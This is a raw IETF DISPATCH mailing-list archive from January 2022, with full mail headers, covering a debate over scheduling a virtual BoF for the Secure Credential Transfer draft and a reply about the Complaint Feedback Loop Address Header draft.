Mark/Eric/Richard thank you as well for = your input on timing and the fact that it is not being held at IETF = week. I will circle back with Francesca to discuss, but I=E2=80=99m = personally really looking forward to discussing the topic with the = broader community sooner than IETF 113 so that we can continue the = discussion.

Eric/Lucas - I will type up some supplemental material in = addition to the draft and charter that we published earlier this week to = the mailing lists and I will respond here with that material by EOD = tomorrow (Friday Jan 28) describing the problem statement in additional = detail.

In = addition to responding here I=E2=80=99ll post it on our GitHub so that = it is available to folks who aren=E2=80=99t on this list.

Thanks,
Matt

On Jan 26, 2022, at 7:04 PM, = Eric Rescorla <ekr@rtfm.com> wrote:

At this point I'm going to repeat my = ask  (in my review when this was DISPATCHED) for some document = which describes the problem and the assumed constraints.

This protocol has a = number of features which seem surprising, and without understanding the = context it is essentially impossible to determine whether those are = necessary or misfeatures.

It would be extremely helpful if you posted this with = sufficient time for people to read this *prior* to the BoF, say in the = next week or so.

-Ekr


On Wed, Jan 26, 2022 at 6:08 PM Lucas = Pardue <lucaspardue.24.7@gmail.com> wrote:
Either way, there's not really = much detail to help prepare for the BoF. With it being two weeks away = I'd expect to see an agenda at least.

Cheers,
Lucas

On Thu, Jan 27, 2022 at 1:39 AM Richard = Barnes <rlb@ipv.sx> wrote:
I have the opposite concerns from Eric and Mark.  = Holding a BoF outside the IETF week means less competition for peoples' = attention.  And in the era of easy, high-quality conferencing, it's = ridiculous to delay work for months on the basis that we can only get = the right group of people together three weeks a year.

+1 for virtual BoFs

--Richard

On Wed, Jan = 26, 2022 at 7:22 PM Eric Rescorla <ekr@rtfm.com> wrote:
I share Mark's concerns about this BoF. Is there a reason = this wasn't held during IETF week?
-Ekr


On Wed, Jan 26, 2022 at 4:17 PM Mark = Nottingham <mnot@mnot.net> wrote:
I'm a little surprised to hear = this.

Holding BoFs during IETF weeks gives them elevated visibility during a = period when IETF folks have already reserved their attention and time = for IETF matters. Scheduling one out of an IETF week means that people = need to accommodate it in their schedules, not only for the event but = also for preparation work.

Holding such a BoF virtually compounds that -- especially when there has = been ZERO consultation with the broad community about timing. E.g, if I = wanted to attend this BoF, I'd need to be up before 4am.

The icing on the cake, though, is announcing it with only two weeks' = notice -- a period of time shorter than many vacations.

As a result, I have very little confidence that this BoF will reflect = community consensus and input. Of course, you will confirm consensus on = lists, etc., but holding the BoF in such a limited forum taints the = outcome.

IESG, this is a horrible precedent and while I won't specifically argue = to cancel or delay this BoF, I do expect you to be much more thoughtful = about these issues.

Cheers,


> On 26 Jan 2022, at 12:00 pm, Matthew Byington <mbyington=3D40apple.com@dmarc.ietf.org> wrote:
>
> Hi Eric,
>
> My understanding is that the BoF will be handled virtually (not = in-person). It has also been scheduled outside of the normal IETF = week.
>
> The BoF is working-group forming, yes.
>
> Matt
>
>> On Jan 25, 2022, at 11:38 AM, Eric Rescorla <ekr@rtfm.com> wrote:
>>
>> Can you clarify what the status of a "virtual BoF" is, here? = I.e., is this in lieu of an actual BoF at the next IETF? Is this WG = forming?
>>
>> -Ekr
>>
>>
>> On Tue, Jan 25, 2022 at 11:36 AM Matthew Byington = <mbyington=3D40apple.com@dmarc.ietf.org> = wrote:
>> Hi there,
>>
>> I wanted to send an email out communicating an upcoming virtual = BoF meeting scheduled for Thursday February 10th.
>>
>> This is a follow-on to the initial presentation at IETF week = 112 given last year.
>>
>> I am posting the information below to a few different IETF = mailing lists, so apologies if you receive duplicate notifications on = the subject.
>>
>> A big =E2=80=9Cthank you=E2=80=9D to Francesca for helping us = to get this scheduled and organized.
>>
>> Latest draft:
>>      https://www.ietf.org/archive/id/draft-secure-credential-transfe= r-03.html
>>
>> Charter:
>>      https://github.com/dimmyvi/secure-credential-transfer/blob/main= /charter.md
>>     
>> BoF Request:
>>      https://datatracker.ietf.org/doc/bofreq-secure-credential-trans= fer-bof-request/
>>     
>> Virtual BoF (Francesca is finalizing this schedule still, but = this is the proposed date and time):
>>      Thursday February 10th 17:00-19:00 UTC (https://www.worldtimebuddy.com/?qm=3D1&lid=3D2673730,5,8,10= 0&h=3D2673730&date=3D2022-2-10&sln=3D18-20&hf=3D1)
>>
>> Mailing list:
>>      https://www.ietf.org/mailman/listinfo/secret
>>
>> Thanks,
>> Matt
>> _______________________________________________
>> dispatch mailing list
>> dispatch@ietf.org
>> https://www.ietf.org/mailman/listinfo/dispatch
>
> _______________________________________________
> dispatch mailing list
> dispatch@ietf.org
> https://www.ietf.org/mailman/listinfo/dispatch

--
Mark Nottingham   https://www.mnot.net/

_______________________________________________
dispatch mailing list
dispatch@ietf.org
https://www.ietf.org/mailman/listinfo/dispatch
_______________________________________________
dispatch mailing list
dispatch@ietf.org
https://www.ietf.org/mailman/listinfo/dispatch

= --Apple-Mail=_44A0F1BC-2449-4610-A85C-3B40EEAE744B-- From nobody Thu Jan 27 16:42:21 2022 Return-Path: X-Original-To: dispatch@ietfa.amsl.com Delivered-To: dispatch@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id B160E3A1077; Thu, 27 Jan 2022 16:42:19 -0800 (PST) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -2.097 X-Spam-Level: X-Spam-Status: No, score=-2.097 tagged_above=-999 required=5 tests=[BAYES_00=-1.9, DKIM_SIGNED=0.1, DKIM_VALID=-0.1, DKIM_VALID_AU=-0.1, DKIM_VALID_EF=-0.1, HTML_MESSAGE=0.001, RCVD_IN_MSPIKE_H3=0.001, RCVD_IN_MSPIKE_WL=0.001, SPF_PASS=-0.001, URIBL_BLOCKED=0.001] autolearn=ham autolearn_force=no Authentication-Results: ietfa.amsl.com (amavisd-new); dkim=pass (2048-bit key) header.d=fastmailteam.com header.b=ZcUtr4sv; dkim=pass (2048-bit key) header.d=messagingengine.com header.b=LGSpuoWF Received: from mail.ietf.org ([4.31.198.44]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id zLUod9IOgH4P; Thu, 27 Jan 2022 16:42:14 -0800 (PST) Received: from out4-smtp.messagingengine.com (out4-smtp.messagingengine.com [66.111.4.28]) (using TLSv1.2 with cipher ADH-AES256-GCM-SHA384 (256/256 bits)) (No client certificate requested) by ietfa.amsl.com (Postfix) with ESMTPS id A3F743A0FB5; Thu, 27 Jan 2022 16:42:14 -0800 (PST) Received: from compute1.internal (compute1.nyi.internal [10.202.2.41]) by mailout.nyi.internal (Postfix) with ESMTP id 066995C00DE; Thu, 27 Jan 2022 19:42:14 -0500 (EST) Received: from imap43 ([10.202.2.93]) by compute1.internal (MEProxy); Thu, 27 Jan 2022 19:42:14 -0500 DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d= fastmailteam.com; h=cc:cc:content-type:date:date:from:from :in-reply-to:in-reply-to:message-id:mime-version:references :reply-to:sender:subject:subject:to:to; s=fm1; bh=vef+YeWFT8oQZW ogVjZytuQ5iHSSiwXJR+Mz6Kue/p0=; b=ZcUtr4svrdBNqSFCXn/yN6I9OVGluU TfZCQ027Y3tX8pDZm0CTbsge5QOlxip2wHN0yDbDOr83ba0c1oekiWmORPo2Dzgb O6uBwa0k4uv/pBWNZRFPKmPaitXE3fK3fKhQRnyyJQWSQVekaGfjwRGQX58SR1Y5 iqcSEfA44OLEfd8DP46gTF0bpQp6PJoCWOHsAIxtGP/zmFIjKw5Zuo6jmB1RE5e3 60vchiNw/US+m2vzdPOFdKJPBmOe01MA/JGdvxKQcgZUT0/BCeRyNnHjmX5Q6RZZ KYNRUAce/IyYIj8/wKoTGvlLOIQDUBjRZpieh26w7iU3e2q0wvowjvBQ== DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d= messagingengine.com; h=cc:cc:content-type:date:date:from:from :in-reply-to:in-reply-to:message-id:mime-version:references :reply-to:sender:subject:subject:to:to:x-me-proxy:x-me-proxy :x-me-sender:x-me-sender:x-sasl-enc; s=fm1; bh=vef+YeWFT8oQZWogV jZytuQ5iHSSiwXJR+Mz6Kue/p0=; b=LGSpuoWFkKm/uhgmuS4QxtZ6PjyFM9mgG tpbzGuvqzd8Qf9V38QWfbAMa4KgnqSvjYedy6VSW2PqtIYQ1MrzkRi84gFNIAJWE Rk8NAqwxCuN06cUrMtoc8q7/p14p/GB+ja+Pm/1wErGi48kmGg9EmrN1vnQP3MLA HdEAlV7xYq8fUeo35hGv7/j33nsAZLr6aYQvhfo1Pac8/Pb4PKgVMa3H2tAZOqVM zAHDrM3eWcm460DC7ihRCHSvG1pbE9tEOx3njRhar+Knq9RmNQ3hfO/Huq2S2sYl LbBlD4BjjCLfGFo4dv1eJkhS9ITRxwlk8M+Uah2tGez0fVw+uZwEw== X-ME-Sender: X-ME-Proxy-Cause: gggruggvucftvghtrhhoucdtuddrgedvvddrfeeggddvvdcutefuodetggdotefrodftvf curfhrohhfihhlvgemucfhrghsthforghilhdpqfgfvfdpuffrtefokffrpgfnqfghnecu uegrihhlohhuthemuceftddtnecunecujfgurhepofgfggfkjghffffhvffutgesrgdtre erreertdenucfhrhhomhepfdeurhhonhcuifhonhgufigrnhgrfdcuoegsrhhonhhgsehf rghsthhmrghilhhtvggrmhdrtghomheqnecuggftrfgrthhtvghrnhepuefggeevtdeuke fhveffgfekjeduvdevhedvfeettdetvedtgfekudefffehfedvnecuffhomhgrihhnpehm fegrrgifghdrohhrghdpihgvthhfrdhorhhgpdgtvghrthhifhhivgguqdhsvghnuggvrh hsrdgvuhdpfigvsgdruggvpdhgmhigrdguvgdpmhgrihhlrdgtohhmnecuvehluhhsthgv rhfuihiivgeptdenucfrrghrrghmpehmrghilhhfrhhomhepsghrohhnghesfhgrshhtmh grihhlthgvrghmrdgtohhm X-ME-Proxy: Received: by mailuser.nyi.internal (Postfix, from userid 501) id 10019AC0E99; Thu, 27 Jan 2022 19:42:13 -0500 (EST) X-Mailer: MessagingEngine.com Webmail Interface User-Agent: Cyrus-JMAP/3.5.0-alpha0-4741-ga2d494e071-fm-cal2020-20220124.001-ga2d494e0 Mime-Version: 1.0 Message-Id: <85ca6a8f-382d-40ad-8fac-de4be5382097@beta.fastmail.com> In-Reply-To: <4675435d-f889-b0a2-e74a-6e4b2f1d963c@cleverreach.com> References: <4675435d-f889-b0a2-e74a-6e4b2f1d963c@cleverreach.com> Date: Fri, 28 Jan 2022 11:41:34 +1100 From: "Bron Gondwana" To: dispatch@ietf.org Cc: ietf-smtp@ietf.org Content-Type: multipart/alternative; boundary=d0ee978c07bc45218332e39ad7b7d106 Archived-At: Subject: Re: [dispatch] Discussion about draft-benecke-cfbl-address-header X-BeenThere: dispatch@ietf.org X-Mailman-Version: 2.1.29 Precedence: list List-Id: DISPATCH Working Group Mail List List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 28 Jan 2022 00:42:20 -0000 --d0ee978c07bc45218332e39ad7b7d106 Content-Type: text/plain Hi Jan-Philipp, There will be others from that alliance at M3AAWG in San Francisco next month I'm fairly sure. It is the first in person meeting for a while, so I dunno. There are definitely people from 1&1 who have attended in the past, for example. I'm going to be attending M3AAWG, and am happy to chat with people. I definitely do recommend M3AAWG to you as a good place to network with other senders and also mailbox providers. You definitely should consider joining m3aawg before the mid-year meeting in London. https://www.m3aawg.org/upcoming-meetingsv2 says: 55th General Meeting June 13-16, 2022 London, England Park Plaza Riverbank London Cheers, Bron. On Sat, Jan 15, 2022, at 06:23, Jan-Philipp Benecke wrote: > Hey dispatch wg! > > First of all, I would like to introduce myself briefly: > My name is Jan-Philipp Benecke, i work as a Deliverability & Software > Engineer at CleverReach GmbH & Co.KG. > We're a email marketing provider offering a software-as-a-service for > sending email campaigns and transactional mails. > This is my first IETF related work, so i'm a newbie when coming to this :) > > I want to introduce you my email-related draft "Complaint Feedback Loop > Address Header" which can be found @ > https://datatracker.ietf.org/doc/draft-benecke-cfbl-address-header/. > The intention of this draft is to have documented, standardized and > automated way to provide a so called complaint feedback loop address to > mailbox providers. > Currently, providing and maintaining such an address is a manual and > time-consuming process for both sides, email senders and mailbox providers. > This draft defines the required header, how the header needs to be > processed and signed by DKIM. > > Now i want to kick off a discussion around the draft and collect > feedback. This draft has already been presented to the ISE, Adrian > advised me to introduce the draft to this wg for further review and > discussion. > > There has been already a heavy discussion while writing within the > Certified Senders Alliance (https://certified-senders.eu/), which is an > association of mailbox providers and senders. > The conclusion of this discussion was that a larger majority is > interested in such an automated path. > For example, 1&1 Mail & Media, the company behind web.de/gmx.de/mail.com > (major mailbox provider in Germany), is very interested in this draft > and would be happy to have this. > The same feedback i already got from some email senders i'm in contact with. > > I look forward to hear your feedback about this draft. > > Best, > Jan-Philipp > > _______________________________________________ > dispatch mailing list > dispatch@ietf.org > https://www.ietf.org/mailman/listinfo/dispatch > -- Bron Gondwana, CEO, Fastmail Pty Ltd brong@fastmailteam.com --d0ee978c07bc45218332e39ad7b7d106 Content-Type: text/html Content-Transfer-Encoding: quoted-printable
Hi Jan-Philipp,

There will be others f= rom that alliance at M3AAWG in San Francisco next month I'm fairly sure.= It is the first in person meeting for a while, so I dunno.  There = are definitely people from 1&1 who have attended in the past, for ex= ample.

I'm going to be attending M3AAWG, and am happy to c= hat with people.  I definitely do recommend M3AAWG to you as a good= place to network with other senders and also mailbox providers.

You definitely should consider joining m3aawg before the mid-yea= r meeting in London.  https://www.m3aawg.org/upcoming-meetingsv2 says:
=
55th General Meeting
June 13-16, 2022 London, England 
Park Plaza Riverbank London

Cheers,

Bron.

On Sat, Jan 15, 2022, at 06:23, Jan-Philipp= Benecke wrote:
=
Hey dispatch wg!

First o= f all, I would like to introduce myself briefly:
My name is Jan-Philipp Benecke, i work as a Delivera= bility & Software
Enginee= r at CleverReach GmbH & Co.KG.
We're a email marketing provider offering a software-as-a-service = for
sending email campaigns a= nd transactional mails.
This = is my first IETF related work, so i'm a newbie when coming to this :)

I want to introduce you my email-related draft "Complaint F= eedback Loop
Address Header" = which can be found @
The intention of this draft is= to have documented, standardized and
automated way to provide a so called complaint feedback loop ad= dress to
mailbox providers.
Currently, providing and maint= aining such an address is a manual and
time-consuming process for both sides, email senders and mailb= ox providers.
This draft defi= nes the required header, how the header needs to be
processed and signed by DKIM.

Now i w= ant to kick off a discussion around the draft and collect
feedback. This draft has already been prese= nted to the ISE, Adrian
advis= ed me to introduce the draft to this wg for further review and
=
discussion.

There has b= een already a heavy discussion while writing within the
Certified Senders Alliance (https://certified-senders.eu/), which is an=
association of mailbox provi= ders and senders.
The conclus= ion of this discussion was that a larger majority is
interested in such an automated path.
<= div style=3D"font-family:Arial;">For example, 1&1 Mail & Media, = the company behind web.de= /gmx.de/mail.com
(major m= ailbox provider in Germany), is very interested in this draft
<= div style=3D"font-family:Arial;">and would be happy to have this.
The same feedback i already got fro= m some email senders i'm in contact with.

I look forward = to hear your feedback about this draft.

Best,
Jan-Philipp

_____________= __________________________________
dispatch mailing list
<= a href=3D"mailto:dispatch@ietf.org">dispatch@ietf.org
https://www.ietf.org/mailman/listinfo/dispatch


--
  Bron Gondwana, CEO, = Fastmail Pty Ltd
  brong@fastmail= team.com


--d0ee978c07bc45218332e39ad7b7d106-- From nobody Fri Jan 28 14:30:47 2022 Return-Path: X-Original-To: dispatch@ietfa.amsl.com Delivered-To: dispatch@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id 010ED3A15F6; Fri, 28 Jan 2022 14:30:39 -0800 (PST) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -2.676 X-Spam-Level: X-Spam-Status: No, score=-2.676 tagged_above=-999 required=5 tests=[BAYES_00=-1.9, DKIMWL_WL_HIGH=-0.576, DKIM_SIGNED=0.1, DKIM_VALID=-0.1, DKIM_VALID_AU=-0.1, DKIM_VALID_EF=-0.1, HTML_MESSAGE=0.001, RCVD_IN_MSPIKE_H2=-0.001, SPF_PASS=-0.001, URIBL_BLOCKED=0.001] autolearn=ham autolearn_force=no Authentication-Results: ietfa.amsl.com (amavisd-new); dkim=pass (2048-bit key) header.d=apple.com Received: from mail.ietf.org ([4.31.198.44]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id ytFiR4lXtEgH; Fri, 28 Jan 2022 14:30:34 -0800 (PST) Received: from ma1-aaemail-dr-lapp03.apple.com (ma1-aaemail-dr-lapp03.apple.com [17.171.2.72]) (using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits)) (No client certificate requested) by ietfa.amsl.com (Postfix) with ESMTPS id A44E43A15F5; Fri, 28 Jan 2022 14:30:33 -0800 (PST) Received: from pps.filterd (ma1-aaemail-dr-lapp03.apple.com [127.0.0.1]) by ma1-aaemail-dr-lapp03.apple.com (8.16.0.42/8.16.0.42) with SMTP id 20SMIwgV029792; Fri, 28 Jan 2022 14:30:31 -0800 DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=apple.com; h=from : message-id : content-type : mime-version : subject : date : in-reply-to : cc : to : references; s=20180706; bh=maNP2kzfDydua85cA3Y8d6nRlkYm230t8Z53RFdcR8w=; b=MHl8YkmdmGYL11Ek3Gi+QEASxOFsrUg66vpRZM9yjOytQw4xfyz3qHSB8a44IMTuPWrj Mcp7CPEmvOMyoUOFos+bFFIqgPEI0TCOoNcD5wljMHknCq/wWAGvur+hO9JaGFwqN/Oc pJT9STgz/dxyBcOleU0kL6/t6ZrpfzJZf43NrgsQzft2K7SuMXZ6NWK0drWnCIqpRHue v96JsOlU78zZDAgD0fMCbrWq5pfy9aT77j04KpdLYlfnCr35c9dLTop6h0vgIkb+valr BQeEo00LlTYZhXpXThKIA4AxpYdevnaSlXC8EAvIquCjHlZDIGdn18qwwOdjewJehRyC Pw== Received: from rn-mailsvcp-mta-lapp03.rno.apple.com (rn-mailsvcp-mta-lapp03.rno.apple.com [10.225.203.151]) by ma1-aaemail-dr-lapp03.apple.com with ESMTP id 3drht1n1et-1 (version=TLSv1.2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128 verify=NO); Fri, 28 Jan 2022 14:30:31 -0800 Received: from rn-mailsvcp-mmp-lapp04.rno.apple.com (rn-mailsvcp-mmp-lapp04.rno.apple.com [17.179.253.17]) by rn-mailsvcp-mta-lapp03.rno.apple.com (Oracle Communications Messaging Server 8.1.0.12.20210903 64bit (built Sep 3 2021)) with ESMTPS id <0R6F00BT6YITNPG0@rn-mailsvcp-mta-lapp03.rno.apple.com>; Fri, 28 Jan 2022 14:30:29 -0800 (PST) Received: from process_milters-daemon.rn-mailsvcp-mmp-lapp04.rno.apple.com by rn-mailsvcp-mmp-lapp04.rno.apple.com (Oracle Communications Messaging Server 8.1.0.12.20210903 64bit (built Sep 3 2021)) id <0R6F00H00YDG6L00@rn-mailsvcp-mmp-lapp04.rno.apple.com>; Fri, 28 Jan 2022 14:30:29 -0800 (PST) X-Va-A: X-Va-T-CD: 7a77f9138d60728e010dfb6f2118f5e7 X-Va-E-CD: 1b2514d45a6cbacdd746d7feed02cb99 X-Va-R-CD: 21f245648979a34695bda2dc7cf5e7b6 X-Va-CD: 0 X-Va-ID: cf70b1d6-a2f6-4a08-90e6-c2164aaff461 X-V-A: X-V-T-CD: 7a77f9138d60728e010dfb6f2118f5e7 X-V-E-CD: 1b2514d45a6cbacdd746d7feed02cb99 X-V-R-CD: 21f245648979a34695bda2dc7cf5e7b6 X-V-CD: 0 X-V-ID: 90ab0fdc-9311-4d38-b0dd-32c44fcb08af X-Proofpoint-Virus-Version: vendor=fsecure engine=2.50.10434:6.0.425, 18.0.816 definitions=2022-01-28_08:2022-01-28, 2022-01-28 signatures=0 Received: from smtpclient.apple (unknown [17.149.231.94]) by rn-mailsvcp-mmp-lapp04.rno.apple.com (Oracle Communications Messaging Server 8.1.0.12.20210903 64bit (built Sep 3 2021)) with ESMTPSA id <0R6F00QIWYISC700@rn-mailsvcp-mmp-lapp04.rno.apple.com>; Fri, 28 Jan 2022 14:30:28 -0800 (PST) From: Matthew Byington Message-id: <60C1E0F0-57FD-4CAD-806A-844EC85DEB38@apple.com> Content-type: multipart/alternative; boundary="Apple-Mail=_5E019FA5-9FC3-4ECE-9184-C05048B159F5" MIME-version: 1.0 (Mac OS X Mail 14.0 \(3654.120.0.1.13\)) Date: Fri, 28 Jan 2022 14:30:28 -0800 In-reply-to: <6D19DF62-D6C0-42F3-A174-937E0C1E5E12@apple.com> Cc: Lucas Pardue , Richard Barnes , DISPATCH , The IESG To: Eric Rescorla References: <6D19DF62-D6C0-42F3-A174-937E0C1E5E12@apple.com> X-Mailer: Apple Mail (2.3654.120.0.1.13) X-Proofpoint-Virus-Version: vendor=fsecure engine=2.50.10434:6.0.425, 18.0.816 definitions=2022-01-28_08:2022-01-28, 2022-01-28 signatures=0 Archived-At: Subject: Re: [dispatch] Secure Credential Transfer Charter & BoF X-BeenThere: dispatch@ietf.org X-Mailman-Version: 2.1.29 Precedence: list List-Id: DISPATCH Working Group Mail List List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 28 Jan 2022 22:30:39 -0000 --Apple-Mail=_5E019FA5-9FC3-4ECE-9184-C05048B159F5 Content-Transfer-Encoding: quoted-printable Content-Type: text/plain; charset=utf-8 Hello everyone, Happy Friday.=20 We have created a set of slides that endeavors to answer some of the = questions that have come up on this mailing list distribution. I am going to attach the slides in PDF format to this email - I hope = that works for everyone to be able to open them. These are the slides that we will use to guide the BoF discussion. We = will of course have additional color to add in the BoF discussion = verbally but hopefully these are helpful in written format for now. Note that these slides are *not* final yet, but as promised I wanted to = get some additional information to everyone ASAP given the feedback we = received on this thread around timing. I also wanted to take a moment to thank everyone for their feedback thus = far. By the way, @Mark, I too share your concern of waking up early - totally = get it. When we presented at IETF 112 last year I had to get up at 3 AM = for that and needless to say, many cups of coffee were consumed. The slides contain detail around the assumptions, requirements, use = cases, and problem statement. Hope everyone has a great weekend. Thanks! Matt > On Jan 27, 2022, at 9:01 AM, Matthew Byington = wrote: >=20 > Hi Eric, Lucas, >=20 > Thank you very much for the feedback. It is really valuable to me as I = am navigating IETF and BoFs in general to learn and better my = understanding of how these things should work. >=20 > Mark/Eric/Richard thank you as well for your input on timing and the = fact that it is not being held at IETF week. I will circle back with = Francesca to discuss, but I=E2=80=99m personally really looking forward = to discussing the topic with the broader community sooner than IETF 113 = so that we can continue the discussion. >=20 > Eric/Lucas - I will type up some supplemental material in addition to = the draft and charter that we published earlier this week to the mailing = lists and I will respond here with that material by EOD tomorrow (Friday = Jan 28) describing the problem statement in additional detail. >=20 > In addition to responding here I=E2=80=99ll post it on our GitHub so = that it is available to folks who aren=E2=80=99t on this list. >=20 > Thanks, > Matt >=20 >> On Jan 26, 2022, at 7:04 PM, Eric Rescorla > wrote: >>=20 >> At this point I'm going to repeat my ask (in my review when this was = DISPATCHED) for some document which describes the problem and the = assumed constraints. >>=20 >> This protocol has a number of features which seem surprising, and = without understanding the context it is essentially impossible to = determine whether those are necessary or misfeatures. >>=20 >> It would be extremely helpful if you posted this with sufficient time = for people to read this *prior* to the BoF, say in the next week or so. >>=20 >> -Ekr >>=20 >>=20 >> On Wed, Jan 26, 2022 at 6:08 PM Lucas Pardue = > wrote: >> Either way, there's not really much detail to help prepare for the = BoF. With it being two weeks away I'd expect to see an agenda at least. >>=20 >> Cheers, >> Lucas >>=20 >> On Thu, Jan 27, 2022 at 1:39 AM Richard Barnes > wrote: >> I have the opposite concerns from Eric and Mark. Holding a BoF = outside the IETF week means less competition for peoples' attention. = And in the era of easy, high-quality conferencing, it's ridiculous to = delay work for months on the basis that we can only get the right group = of people together three weeks a year. >>=20 >> +1 for virtual BoFs >>=20 >> --Richard >>=20 >> On Wed, Jan 26, 2022 at 7:22 PM Eric Rescorla > wrote: >> I share Mark's concerns about this BoF. Is there a reason this wasn't = held during IETF week? >>=20 >> -Ekr >>=20 >>=20 >> On Wed, Jan 26, 2022 at 4:17 PM Mark Nottingham > wrote: >> I'm a little surprised to hear this.=20 >>=20 >> Holding BoFs during IETF weeks gives them elevated visibility during = a period when IETF folks have already reserved their attention and time = for IETF matters. Scheduling one out of an IETF week means that people = need to accommodate it in their schedules, not only for the event but = also for preparation work.=20 >>=20 >> Holding such a BoF virtually compounds that -- especially when there = has been ZERO consultation with the broad community about timing. E.g, = if I wanted to attend this BoF, I'd need to be up before 4am. >>=20 >> The icing on the cake, though, is announcing it with only two weeks' = notice -- a period of time shorter than many vacations. >>=20 >> As a result, I have very little confidence that this BoF will reflect = community consensus and input. Of course, you will confirm consensus on = lists, etc., but holding the BoF in such a limited forum taints the = outcome. >>=20 >> IESG, this is a horrible precedent and while I won't specifically = argue to cancel or delay this BoF, I do expect you to be much more = thoughtful about these issues. >>=20 >> Cheers, >>=20 >>=20 >> > On 26 Jan 2022, at 12:00 pm, Matthew Byington = > wrote: >> >=20 >> > Hi Eric, >> >=20 >> > My understanding is that the BoF will be handled virtually (not = in-person). It has also been scheduled outside of the normal IETF week. >> >=20 >> > The BoF is working-group forming, yes. >> >=20 >> > Matt >> >=20 >> >> On Jan 25, 2022, at 11:38 AM, Eric Rescorla > wrote: >> >>=20 >> >> Can you clarify what the status of a "virtual BoF" is, here? I.e., = is this in lieu of an actual BoF at the next IETF? Is this WG forming? >> >>=20 >> >> -Ekr >> >>=20 >> >>=20 >> >> On Tue, Jan 25, 2022 at 11:36 AM Matthew Byington = > wrote: >> >> Hi there, >> >>=20 >> >> I wanted to send an email out communicating an upcoming virtual = BoF meeting scheduled for Thursday February 10th. >> >>=20 >> >> This is a follow-on to the initial presentation at IETF week 112 = given last year. >> >>=20 >> >> I am posting the information below to a few different IETF mailing = lists, so apologies if you receive duplicate notifications on the = subject. >> >>=20 >> >> A big =E2=80=9Cthank you=E2=80=9D to Francesca for helping us to = get this scheduled and organized. >> >>=20 >> >> Latest draft: >> >> = https://www.ietf.org/archive/id/draft-secure-credential-transfer-03.html = = >> >>=20 >> >> Charter: >> >> = https://github.com/dimmyvi/secure-credential-transfer/blob/main/charter.md= = >> >> =20 >> >> BoF Request: >> >> = https://datatracker.ietf.org/doc/bofreq-secure-credential-transfer-bof-req= uest/ = >> >> =20 >> >> Virtual BoF (Francesca is finalizing this schedule still, but this = is the proposed date and time): >> >> Thursday February 10th 17:00-19:00 UTC = (https://www.worldtimebuddy.com/?qm=3D1&lid=3D2673730,5,8,100&h=3D2673730&= date=3D2022-2-10&sln=3D18-20&hf=3D1 = ) >> >>=20 >> >> Mailing list: >> >> https://www.ietf.org/mailman/listinfo/secret = =20 >> >>=20 >> >> Thanks, >> >> Matt >> >> _______________________________________________ >> >> dispatch mailing list >> >> dispatch@ietf.org >> >> https://www.ietf.org/mailman/listinfo/dispatch = >> >=20 >> > _______________________________________________ >> > dispatch mailing list >> > dispatch@ietf.org >> > https://www.ietf.org/mailman/listinfo/dispatch = >>=20 >> -- >> Mark Nottingham https://www.mnot.net/ >>=20 >> _______________________________________________ >> dispatch mailing list >> dispatch@ietf.org >> https://www.ietf.org/mailman/listinfo/dispatch = >> _______________________________________________ >> dispatch mailing list >> dispatch@ietf.org >> https://www.ietf.org/mailman/listinfo/dispatch = >=20 --Apple-Mail=_5E019FA5-9FC3-4ECE-9184-C05048B159F5 Content-Type: multipart/mixed; boundary="Apple-Mail=_4CB3FCD6-4DF3-4CE8-9C50-81889C8BC938" --Apple-Mail=_4CB3FCD6-4DF3-4CE8-9C50-81889C8BC938 Content-Transfer-Encoding: quoted-printable Content-Type: text/html; charset=us-ascii Hello= everyone,

Happy = Friday. 

We= have created a set of slides that endeavors to answer some of the = questions that have come up on this mailing list distribution.

I am going to attach the = slides in PDF format to this email - I hope that works for everyone to = be able to open them.

These are the slides that we will use to guide the BoF = discussion. We will of course have additional color to add in the BoF = discussion verbally but hopefully these are helpful in written format = for now.

Note = that these slides are *not* final yet, but as promised I wanted to get = some additional information to everyone ASAP given the feedback we = received on this thread around timing.

I also wanted to take a moment to thank = everyone for their feedback thus far.

By the way, @Mark, I too share your = concern of waking up early - totally get it. When we presented at IETF = 112 last year I had to get up at 3 AM for that and needless to say, many = cups of coffee were consumed.

The slides contain detail around the = assumptions, requirements, use cases, and problem statement.

